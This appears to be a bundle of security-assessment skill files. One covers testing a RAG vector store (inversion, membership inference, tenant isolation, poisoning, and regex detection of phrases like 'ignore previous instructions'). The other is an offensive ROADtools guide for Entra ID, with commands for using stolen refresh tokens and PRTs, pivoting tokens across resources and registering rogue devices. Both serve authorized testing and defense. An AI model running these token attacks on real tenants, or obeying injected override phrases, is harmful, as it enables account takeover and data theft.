The parent technique is **AML.T0024 — Exfiltration via ML Inference API**: an attacker uses legitimate inference/query access to exfiltrate data (source text via inversion, membership, or model extraction). This skill provides a repeatable assessment of all five weakness classes.
## When to Use
- During a security assessment of any RAG / vector-search application (OWASP LLM08 coverage).
- When a vector store is multi-tenant and you must prove namespace/metadata isolation.
- When the corpus accepts user-supplied or third-party documents (poisoning surface).
- When the embedding endpoint is externally reachable (inversion/membership surface).
- When validating retrieval-filtering controls before go-live.
## Prerequisites
- Authorization and scope covering the target embedding endpoint and vector store.
- Python 3.10+.
- Read (and, for poisoning tests, write) access to a test collection — never the production corpus.
```bash
# Vector DB clients + embeddings + similarity tooling
python -m pip install numpy scikit-learn sentence-transformers
python -m pip install qdrant-client chromadb pinecone-client weaviate-client
# (optional) text-embedding inversion research baseline
python -m pip install vec2text
```
## Objectives
- Measure embedding-inversion exposure on the target embedding model.
- Run a membership-inference probe against the corpus.
- Test multi-tenant isolation (namespace, metadata filter, RBAC) for cross-tenant leakage.
- Inject benign poisoned chunks into a *test* collection and measure retrieval dominance.
- Detect indirect prompt-injection content surviving in retrieved chunks.
- Recommend controls: tenant-scoped filters, content validation, embedding-access limits.
## MITRE ATT&CK Mapping
| ID | Tactic | Official Technique Name | Role in this skill |
|----|--------|-------------------------|--------------------|
| AML.T0024 | ATLAS: Exfiltration | Exfiltration via ML Inference API | Using query/embedding access to exfiltrate source data |
| AML.T0024.000 | ATLAS: Exfiltration | Infer Training Data Membership | Membership-inference probe against the corpus |
| AML.T0024.001 | ATLAS: Exfiltration | Invert ML Model | Embedding-inversion reconstruction of source text |
| AML.T0020 | ATLAS: Resource Development | Poison Training Data | Knowledge-base poisoning of the corpus |
| AML.T0051.001 | ATLAS: Initial Access | LLM Prompt Injection: Indirect | Injection payloads embedded in retrieved chunks |
## Workflow
### Step 1: Inventory the RAG pipeline
Document the embedding model + dimensions, the vector store and its tenancy model, the chunking strategy, retrieval `top_k` and similarity metric (cosine/dot/L2), and any metadata filters applied at query time.
```python
# Example: inspect a Qdrant collection
from qdrant_client import QdrantClient
client = QdrantClient(url="http://localhost:6333")
info = client.get_collection("docs")
print(info.config.params.vectors) # size + distance metric
print(client.count("docs")) # corpus size
```
### Step 2: Test embedding-inversion exposure
Embeddings of similar text are close; an attacker with the embedding endpoint can iteratively reconstruct text whose embedding matches a target vector. Measure how much a nearest-neighbour-in-embedding-space recovers, using cosine similarity between candidate reconstructions and the target.
```python
import numpy as np
from sentence_transformers import SentenceTransformer
from sklearn.metrics.pairwise import cosine_similarity
model = SentenceTransformer("all-MiniLM-L6-v2")
secret = "Patient John Doe, MRN 553120, diagnosed with hypertension."
target_vec = model.encode([secret])
# Attacker has only target_vec and the embedding endpoint. Hill-climb candidate text.
candidates = [
"Patient name and medical record number with a diagnosis.",
"John Doe medical record hypertension diagnosis",
"Patient John Doe MRN diagnosed hypertension",
]
cand_vecs = model.encode(candidates)
sims = cosine_similarity(target_vec, cand_vecs)[0]
for c, s in sorted(zip(candidates, sims), key=lambda x: -x[1]):
print(f"{s:.3f} {c}")
# High similarity for a near-verbatim guess => inversion risk is real for this model.
```
For a research-grade reconstruction baseline, `vec2text` can be used against compatible embedding models to demonstrate full-text recovery.
### Step 3: Membership inference
Determine whether a specific document is in the corpus by measuring the top-1 retrieval similarity for an exact-quote query: in-corpus items return a markedly higher max similarity than out-of-corpus controls.
```python
def membership_score(client, collection, embed, text):
vec = embed([text])[0].tolist()
hits = client.search(collection_name=collection, query_vector=vec, limit=1)
return hits[0].score if hits else 0.0
in_corpus = membership_score(client, "docs", model.encode, "<exact quote from a known chunk>")
control = membership_score(client, "docs", model.encode, "An unrelated random sentence.")
print(f"in-corpus={in_corpus:.3f} control={control:.3f} delta={in_corpus-control:.3f}")
# A large positive delta indicates the item is in the corpus (membership leak).
```
### Step 4: Test multi-tenant isolation
Confirm that tenant B cannot retrieve tenant A's chunks. Issue tenant-B-authenticated queries that *should* be filtered, and verify no tenant-A `tenant_id` appears in results.
```python
# Query as tenant B; expect ONLY tenant_id == "B" results.
from qdrant_client.models import Filter, FieldCondition, MatchValue
vec = model.encode(["confidential salary information"])[0].tolist()
hits = client.search(
collection_name="docs",
query_vector=vec,
limit=10,
query_filter=Filter(must=[FieldCondition(key="tenant_id", match=MatchValue(value="B"))]),
)
leaked = [h for h in hits if h.payload.get("tenant_id") != "B"]
print("CROSS-TENANT LEAK" if leaked else "isolation OK", "->", len(leaked), "foreign rows")
# Critical test: repeat WITHOUT the filter to confirm the server, not the client,
# enforces isolation. If unfiltered queries return tenant A data, isolation is client-side only.
hits_nofilter = client.search(collection_name="docs", query_vector=vec, limit=10)
print("server-side isolation FAILS" if any(h.payload.get("tenant_id") != "B" for h in hits_nofilter) else "OK")
```
### Step 5: Knowledge-base poisoning (test collection only)
Insert a benign poisoned chunk crafted to be retrieved for many unrelated queries, then measure how often it appears in `top_k`.
```python
from qdrant_client.models import PointStruct
# Benign marker payload (no real injection) to measure retrieval dominance.
poison = "POISON-CANARY. " + " ".join(
["password reset billing refund account login support error help"] * 8
)
client.upsert("docs_test", points=[
PointStruct(id=999999, vector=model.encode([poison])[0].tolist(),
payload={"tenant_id": "B", "source": "poison-test"})
])
queries = ["how do I get a refund", "reset my password", "what is the weather"]
for q in queries:
hits = client.search("docs_test", model.encode([q])[0].tolist(), limit=5)
dominated = any(h.payload.get("source") == "poison-test" for h in hits)
print(f"{'POISON in top5' if dominated else 'clean'}: {q}")
```
### Step 6: Detect indirect prompt injection in retrieved chunks
Scan retrieved chunk text for injection markers before it is concatenated into the prompt.
```python
import re
INJECTION_PATTERNS = [
r"ignore (all|previous|the above) instructions",
r"system prompt", r"you are now", r"disregard", r"</?(system|instructions)>",
]
def chunk_is_injection(text):
low = text.lower()
return [p for p in INJECTION_PATTERNS if re.search(p, low)]
for hit in client.search("docs", model.encode(["help"])[0].tolist(), limit=10):
flags = chunk_is_injection(hit.payload.get("text", ""))
if flags:
print("INDIRECT INJECTION in chunk", hit.id, flags)
```
### Step 7: Report and remediate
- **Inversion/membership:** rate-limit and authenticate the embedding endpoint; avoid returning raw similarity scores; restrict who can query embeddings.
- **Cross-tenant:** enforce tenant filters server-side (separate collections/namespaces per tenant where feasible); never rely on client-supplied filters.
- **Poisoning:** validate and provenance-tag every ingested chunk; scan inputs for injection; cap any single source's share of retrieval.
- **Indirect injection:** sanitize retrieved chunks and apply output guardrails (see `defending-llms-with-guardrails`).
## Tools and Resources
| Tool | Purpose | Primary Source |
|------|---------|----------------|
| OWASP LLM08 | Vector and Embedding Weaknesses guidance | https://genai.owasp.org/llmrisk/llm082025-vector-and-embedding-weaknesses/ |
| sentence-transformers | Embedding generation for testing | https://www.sbert.net/ |
| Qdrant client | Vector store + filtered search | https://qdrant.tech/documentation/ |
| Chroma / Weaviate / Pinecone | Alternative vector stores | https://docs.trychroma.com/ |
| vec2text | Embedding-inversion research baseline | https://github.com/jxmorris12/vec2text |
| MITRE ATLAS | AML.T0024 Exfiltration via ML Inference API | https://atlas.mitre.org/ |
## Validation Criteria
- [ ] RAG pipeline inventoried (embedding model, store, tenancy, metric, top_k, filters).
- [ ] Embedding-inversion exposure measured and rated.
- [ ] Membership-inference delta computed for in-corpus vs control items.
- [ ] Multi-tenant isolation tested both with and without client filters (server-side enforcement confirmed).
- [ ] Poisoning dominance measured in a test collection only.
- [ ] Retrieved chunks scanned for indirect-injection content.
- [ ] Findings reported with remediation for each weakness class.
- [ ] No production corpus modified during the assessment.
@@ -0,0 +1,51 @@
# API and Command Reference
## sentence-transformers (embedding generation)
| Call | Purpose |
|------|---------|
| `SentenceTransformer("all-MiniLM-L6-v2")` | Load an embedding model (384-dim) |
| `model.encode([texts])` | Return numpy array of embeddings |
| `model.encode(text, normalize_embeddings=True)` | L2-normalized vectors (for cosine) |
## scikit-learn similarity
| Call | Purpose |
|------|---------|
| `cosine_similarity(a, b)` | Pairwise cosine similarity matrix |
## Qdrant client (qdrant-client)
| Call | Purpose |
|------|---------|
| `QdrantClient(url="http://localhost:6333")` | Connect |
| `client.get_collection(name)` | Inspect vector size + distance metric |
| `client.count(name)` | Corpus size |
| `client.search(collection_name, query_vector, limit, query_filter)` | k-NN search with optional filter |
| `client.upsert(name, points=[PointStruct(id, vector, payload)])` | Insert/update points |
| `Filter(must=[FieldCondition(key, match=MatchValue(value))])` | Metadata filter (tenant isolation) |
## Chroma (chromadb)
| Call | Purpose |
|------|---------|
| `chromadb.Client()` / `PersistentClient(path)` | Connect |
| `collection.query(query_embeddings=[...], n_results=k, where={...})` | k-NN with metadata filter |
| `collection.add(ids, embeddings, metadatas, documents)` | Insert |
## Pinecone (pinecone-client)
| Call | Purpose |
|------|---------|
| `Pinecone(api_key=...)` | Connect |
| `index.query(vector=..., top_k=k, namespace="tenant", filter={...})` | k-NN; namespace = tenant boundary |
| `index.upsert(vectors=[(id, vec, meta)], namespace=...)` | Insert |
## Assessment metrics
| Metric | Meaning |
|--------|---------|
| Inversion cosine | Similarity between reconstructed candidate and target vector; high = recoverable. |
| Membership delta | top-1 score(in-corpus query) top-1 score(control query); large positive = membership leak. |
| Poison dominance | Fraction of unrelated queries returning the poison chunk in top_k. |
| Cross-tenant count | Number of foreign-tenant rows returned to a tenant query (should be 0). |
## vec2text (research baseline)
| Call | Purpose |
|------|---------|
| `vec2text.load_pretrained_corrector("gtr-base")` | Load inversion corrector for compatible embedder |
| `vec2text.invert_embeddings(embeddings, corrector)` | Reconstruct text from embeddings |
@@ -0,0 +1,35 @@
# Standards and Framework Mapping
## NIST AI Risk Management Framework (AI RMF 1.0 / GenAI Profile NIST AI 600-1)
| ID | Name | Rationale |
|----|------|-----------|
| MEASURE-2.7 | AI system security and resilience are evaluated and documented | Assessing inversion, membership, isolation, and poisoning weaknesses measures the security/resilience of the RAG vector layer. |
## MITRE ATLAS
| ID | Name | Rationale |
|----|------|-----------|
| AML.T0024 | Exfiltration via ML Inference API | Parent technique: query/embedding access is abused to exfiltrate source data. |
| AML.T0024.000 | Infer Training Data Membership | Membership-inference probe determines whether a record is in the corpus. |
| AML.T0024.001 | Invert ML Model | Embedding inversion reconstructs source text from vectors. |
| AML.T0020 | Poison Training Data | Knowledge-base poisoning inserts adversarial chunks into the corpus. |
| AML.T0051.001 | LLM Prompt Injection: Indirect | Injection payloads surviving in retrieved chunks. |
## OWASP Top 10 for LLM Applications (2025)
| ID | Name | Rationale |
|----|------|-----------|
| LLM08 | Vector and Embedding Weaknesses | The core risk class under test (inversion, leakage, poisoning). |
| LLM02 | Sensitive Information Disclosure | Inversion/membership leakage discloses sensitive source data. |
| LLM01 | Prompt Injection | Indirect injection delivered through poisoned retrieval. |
## Weakness class to control mapping
| Weakness | Control |
|----------|---------|
| Embedding inversion | Authenticate + rate-limit embedding endpoint; avoid exposing raw scores. |
| Membership inference | Restrict similarity-score exposure; add query auditing. |
| Cross-tenant leakage | Server-side tenant filters or per-tenant collections/namespaces. |
| Knowledge-base poisoning | Provenance tagging, content validation, per-source retrieval caps. |
| Indirect injection in chunks | Sanitize retrieved text; apply output guardrails. |
@@ -0,0 +1,152 @@
#!/usr/bin/env python3
"""Vector/embedding weakness assessor.
Runs four checks against a RAG pipeline you are authorized to test:
inversion - measures how close a guessed reconstruction sits to a target vector
membership - computes in-corpus vs control top-1 similarity delta (Qdrant)
isolation - verifies server-side tenant filtering (Qdrant)
injection - scans retrieved chunk text for indirect prompt-injection markers
Examples
--------
python agent.py inversion --secret "MRN 553120 hypertension" \
--guess "patient MRN hypertension diagnosis"
python agent.py membership --url http://localhost:6333 --collection docs \
--quote "<exact chunk quote>" --control "unrelated sentence"
python agent.py isolation --url http://localhost:6333 --collection docs \
--tenant-field tenant_id --tenant B --query "salary information"
"""
import argparse
import re
import sys
INJECTION_PATTERNS = [
r"ignore (all|previous|the above) instructions",
r"system prompt", r"you are now", r"disregard previous",
r"</?(system|instructions)>",
]
def get_embedder(model_name):
try:
from sentence_transformers import SentenceTransformer
except ImportError:
sys.exit("[!] sentence-transformers not installed. pip install sentence-transformers")
return SentenceTransformer(model_name)
def get_qdrant(url):
try:
from qdrant_client import QdrantClient
except ImportError:
sys.exit("[!] qdrant-client not installed. pip install qdrant-client")
return QdrantClient(url=url)
def cmd_inversion(args):
from sklearn.metrics.pairwise import cosine_similarity
model = get_embedder(args.model)
tv = model.encode([args.secret])
gv = model.encode([args.guess])
sim = float(cosine_similarity(tv, gv)[0][0])
print(f"inversion cosine(secret, guess) = {sim:.4f}")
verdict = "HIGH inversion risk" if sim >= 0.85 else "moderate" if sim >= 0.6 else "low"
print(f"verdict: {verdict}")
return 1 if sim >= 0.85 else 0
def cmd_membership(args):
model = get_embedder(args.model)
client = get_qdrant(args.url)
def top1(text):
vec = model.encode([text])[0].tolist()
hits = client.search(collection_name=args.collection, query_vector=vec, limit=1)
return hits[0].score if hits else 0.0
in_corpus = top1(args.quote)
control = top1(args.control)
delta = in_corpus - control
print(f"in-corpus top1 = {in_corpus:.4f}")
print(f"control top1 = {control:.4f}")
print(f"delta = {delta:.4f}")
leak = delta >= 0.2
print("verdict:", "MEMBERSHIP LEAK" if leak else "no clear membership signal")
return 1 if leak else 0
def cmd_isolation(args):
from qdrant_client.models import Filter, FieldCondition, MatchValue
model = get_embedder(args.model)
client = get_qdrant(args.url)
vec = model.encode([args.query])[0].tolist()
filtered = client.search(
collection_name=args.collection, query_vector=vec, limit=10,
query_filter=Filter(must=[FieldCondition(
key=args.tenant_field, match=MatchValue(value=args.tenant))]),
)
leak_filtered = [h for h in filtered
if h.payload.get(args.tenant_field) != args.tenant]
unfiltered = client.search(collection_name=args.collection, query_vector=vec, limit=10)
leak_unfiltered = [h for h in unfiltered
if h.payload.get(args.tenant_field) != args.tenant]
print(f"filtered query foreign rows : {len(leak_filtered)}")
print(f"unfiltered query foreign rows : {len(leak_unfiltered)}")
if leak_filtered:
print("CRITICAL: filtered query returned other tenants' data")
elif leak_unfiltered:
print("WARNING: isolation appears client-side only; server returns cross-tenant data")
else:
print("isolation OK at server level for this query")
return 1 if (leak_filtered or leak_unfiltered) else 0
def cmd_injection(args):
model = get_embedder(args.model)
client = get_qdrant(args.url)
vec = model.encode([args.query])[0].tolist()
hits = client.search(collection_name=args.collection, query_vector=vec, limit=args.limit)
found = 0
for h in hits:
text = (h.payload or {}).get("text", "")
flags = [p for p in INJECTION_PATTERNS if re.search(p, text.lower())]
if flags:
found += 1
print(f"INJECTION in chunk {h.id}: {flags}")
print(f"{found} of {len(hits)} retrieved chunks flagged for indirect injection")
return 1 if found else 0
def main():
p = argparse.ArgumentParser(description="Vector/embedding weakness assessor")
p.add_argument("--model", default="all-MiniLM-L6-v2", help="embedding model")
sub = p.add_subparsers(dest="cmd", required=True)
s = sub.add_parser("inversion"); s.add_argument("--secret", required=True); s.add_argument("--guess", required=True)
s = sub.add_parser("membership")
s.add_argument("--url", required=True); s.add_argument("--collection", required=True)
s.add_argument("--quote", required=True); s.add_argument("--control", required=True)
s = sub.add_parser("isolation")
s.add_argument("--url", required=True); s.add_argument("--collection", required=True)
s.add_argument("--tenant-field", default="tenant_id"); s.add_argument("--tenant", required=True)
s.add_argument("--query", required=True)
s = sub.add_parser("injection")
s.add_argument("--url", required=True); s.add_argument("--collection", required=True)
s.add_argument("--query", default="help"); s.add_argument("--limit", type=int, default=10)
args = p.parse_args()
dispatch = {
"inversion": cmd_inversion, "membership": cmd_membership,
"isolation": cmd_isolation, "injection": cmd_injection,
}
try:
sys.exit(dispatch[args.cmd](args))
except Exception as exc:
sys.exit(f"[!] {args.cmd} failed: {exc}")
if __name__ == "__main__":
main()
@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -0,0 +1,202 @@
---
name: attacking-entra-id-with-roadtools
description: Enumerate Entra ID with ROADrecon and acquire and exchange tokens with roadtx.
domain: cybersecurity
subdomain: identity-access-management
tags:
- red-team
- entra-id
- azure-ad
- roadtools
- token-manipulation
- cloud-enumeration
- primary-refresh-token
- identity-attack
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- ID.AM-03
mitre_attack:
- T1087.004
---
# Attacking Entra ID with ROADtools
> **Authorized use only:** ROADtools interacts with live Microsoft Entra ID (Azure AD) tenants and can register devices, mint and exchange tokens, and enumerate directory objects. Use it solely against tenants you own or are explicitly authorized in writing to test. Unauthorized access to a cloud tenant is illegal.
## Overview
ROADtools (by Dirk-jan Mollema) is the de facto offensive toolkit for Microsoft Entra ID. It has two main components:
- **ROADrecon** — authenticates to Entra ID, *gathers* the full directory into a local SQLite database via the Azure AD Graph API, and serves an Angular GUI to explore users, groups, roles, applications, service principals, conditional-access policies, and device objects offline. A plugin system exports to BloodHound and analyzes CA policies.
- **roadtx (ROADtools Token eXchange)** — acquires and exchanges Entra-issued tokens across the many OAuth flows (ROPC, device code, auth-code, refresh-token exchange, app/federated app), performs device registration, and handles Primary Refresh Token (PRT) operations including PRT-based SSO and cookie minting. Its FOCI (Family of Client IDs) awareness lets a refresh token for one first-party client be redeemed for another resource.
Together they cover the **Discovery** phase against cloud identity: enumerate the tenant (T1087.004 Account Discovery: Cloud Account) and obtain/manipulate the tokens needed to reach Microsoft Graph, Azure Resource Manager, and other resources. ROADrecon's offline database makes recon stealthy and fast; roadtx makes token theft, PRT abuse, and cross-resource pivoting practical.
## When to Use
- During an authorized Azure / Entra ID red-team or cloud penetration test.
- When you have a foothold credential, refresh token, or PRT and need to enumerate the tenant.
- When you must pivot a token from one resource (e.g., Azure CLI) to another (e.g., Microsoft Graph).
- When validating that conditional-access, device-compliance, and token controls actually constrain an attacker.
- When mapping Entra attack paths (export to BloodHound for graph analysis).
## Prerequisites
- Written authorization and defined scope for the target tenant.
- A starting credential: username/password (no MFA flows), a device code session, a refresh/access token, or a registered device's PRT.
- Python 3.7+ (roadtx Selenium flows need a matching geckodriver/Firefox).
```bash
# Core install (roadlib is a shared dependency, pulled in automatically)
python -m pip install roadrecon
python -m pip install roadtx
# Verify
roadrecon --help
roadtx --help
```
## Objectives
- Authenticate to Entra ID via the appropriate flow (device code preferred for MFA).
- Gather the full directory with ROADrecon and analyze it in the GUI.
- Export the directory to BloodHound and run CA-policy analysis plugins.
- Acquire tokens with roadtx and exchange refresh tokens across resources/clients.
- Demonstrate PRT-based SSO and document the resulting access.
## MITRE ATT&CK Mapping
| ID | Tactic | Official Technique Name | Role in this skill |
|----|--------|-------------------------|--------------------|
| T1087.004 | Discovery | Account Discovery: Cloud Account | ROADrecon enumerates tenant users/accounts |
| T1069.003 | Discovery | Permission Groups Discovery: Cloud Groups | ROADrecon enumerates Entra groups and roles |
| T1538 | Discovery | Cloud Service Dashboard | GUI exploration of tenant configuration |
| T1550.001 | Defense Evasion / Lateral Movement | Use Alternate Authentication Material: Application Access Token | roadtx refresh-token exchange across resources |
| T1528 | Credential Access | Steal Application Access Token | roadtx PRT/token acquisition |
## Workflow
### Step 1: Authenticate with ROADrecon
Pick the flow that matches your foothold. Device code supports MFA; ROPC (-u/-p) does not.
```bash
# Username/password (legacy, no MFA)
roadrecon auth -u user@tenant.onmicrosoft.com -p 'Password123!'
# Device-code flow (supports MFA)
roadrecon auth --device-code
# From a stolen access or refresh token
roadrecon auth --access-token <JWT>
roadrecon auth --refresh-token <refresh_token>
# From a PRT (with session key) for SSO-grade access
roadrecon auth --prt <prt> --prt-sessionkey <session_key>
```
Authentication writes `.roadtools_auth` in the working directory.
### Step 2: Gather the directory
```bash
# Full gather into roadrecon.db (default)
roadrecon gather
# Include MFA/auth-method details (requires a privileged role)
roadrecon gather --mfa
```
### Step 3: Explore in the GUI
```bash
roadrecon gui
# Browse to http://127.0.0.1:5000 — users, groups, roles, applications,
# service principals, devices, and conditional-access policies, all offline.
```
### Step 4: Run analysis plugins
```bash
# Analyze conditional-access policies
roadrecon plugin policies -h
roadrecon plugin policies
# Export the gathered data to a BloodHound-importable format
roadrecon plugin bloodhound -h
roadrecon plugin bloodhound
```
### Step 5: Acquire tokens with roadtx
```bash
# ROPC: get a Microsoft Graph token for the Azure CLI client
roadtx gettokens -u user@tenant.com -p 'Password123!' -c azcli -r msgraph
# Device-code style interactive auth for the Teams client to Graph
roadtx interactiveauth -c msteams -r msgraph
# From an existing refresh token
roadtx gettokens --refresh-token <refresh_token> -r msgraph
```
Tokens are written to `.roadtools_auth` (use `--tokens-stdout` to print).
### Step 6: Exchange refresh tokens across resources (FOCI pivot)
A FOCI refresh token obtained for one first-party client can be redeemed for another resource without re-auth.
```bash
# Convert the stored refresh token to an Azure Resource Manager token
roadtx refreshtokento -r azrm
# Convert to a scoped Graph token via the Teams client
roadtx refreshtokento -c msteams -r msgraph
# Find which first-party clients hold a given scope
roadtx getscope -s https://graph.microsoft.com/mail.read --foci
```
### Step 7: Device registration and PRT-based SSO
```bash
# Register a (virtual) device to the tenant
roadtx device -n redteam-device
# Request a PRT using the device cert/key and user creds
roadtx prt -u user@tenant.com -p 'Password123!' --key-pem redteam-device.key --cert-pem redteam-device.pem
# Use the PRT to authenticate a client to a resource (SSO-grade)
roadtx prtauth -c msteams -r msgraph
# Enrich a PRT with an interactive MFA claim
roadtx prtenrich -u user@tenant.com
```
### Step 8: Inspect tokens
```bash
# Decode and print claims of the stored / a supplied token
roadtx describe -t <JWT>
roadtx describe < .roadtools_auth | jq .
```
## Tools and Resources
| Tool | Purpose | Primary Source |
|------|---------|----------------|
| ROADtools (repo) | Toolkit overview + wiki | https://github.com/dirkjanm/ROADtools |
| ROADrecon wiki | Auth/gather/gui/plugin usage | https://github.com/dirkjanm/ROADtools/wiki/Getting-started-with-ROADrecon |
| roadtx wiki | Token exchange + PRT/device flows | https://github.com/dirkjanm/ROADtools/wiki/ROADtools-Token-eXchange-(roadtx) |
| BloodHound CE | Graph analysis of exported Entra data | https://github.com/SpecterOps/BloodHound |
| Microsoft identity platform | Token/flow reference | https://learn.microsoft.com/entra/identity-platform/ |
## Validation Criteria
- [ ] Authenticated to the target tenant via an authorized flow; `.roadtools_auth` created.
- [ ] Directory gathered into `roadrecon.db` (with `--mfa` where role allows).
- [ ] GUI explored; users, groups, roles, apps, CA policies reviewed.
- [ ] CA-policy and BloodHound plugins executed; data exported.
- [ ] Tokens acquired with roadtx for at least one resource.
- [ ] Refresh-token exchange to a second resource demonstrated (FOCI pivot).
- [ ] Device registered and PRT-based SSO demonstrated (where in scope).
- [ ] Token claims inspected with `roadtx describe`.
- [ ] Findings and access documented for the engagement report.
@@ -0,0 +1,52 @@
# ROADtools Command Reference
## ROADrecon
| Command | Purpose | Key flags |
|---------|---------|-----------|
| `roadrecon auth` | Authenticate to Entra ID | `-u` user, `-p` password, `--device-code`, `--access-token`, `--refresh-token`, `--prt`, `--prt-sessionkey`, `--prt-cookie`, `--prt-init` |
| `roadrecon gather` | Gather directory into roadrecon.db | `--mfa` (needs privileged role) |
| `roadrecon gui` | Launch Angular GUI (http://127.0.0.1:5000) | — |
| `roadrecon plugin policies` | Analyze conditional-access policies | `-f` file, `-p` |
| `roadrecon plugin bloodhound` | Export to BloodHound format | — |
Auth state is stored in `.roadtools_auth`; directory data in `roadrecon.db`.
## roadtx (ROADtools Token eXchange)
### Token acquisition
| Command | Purpose | Key flags |
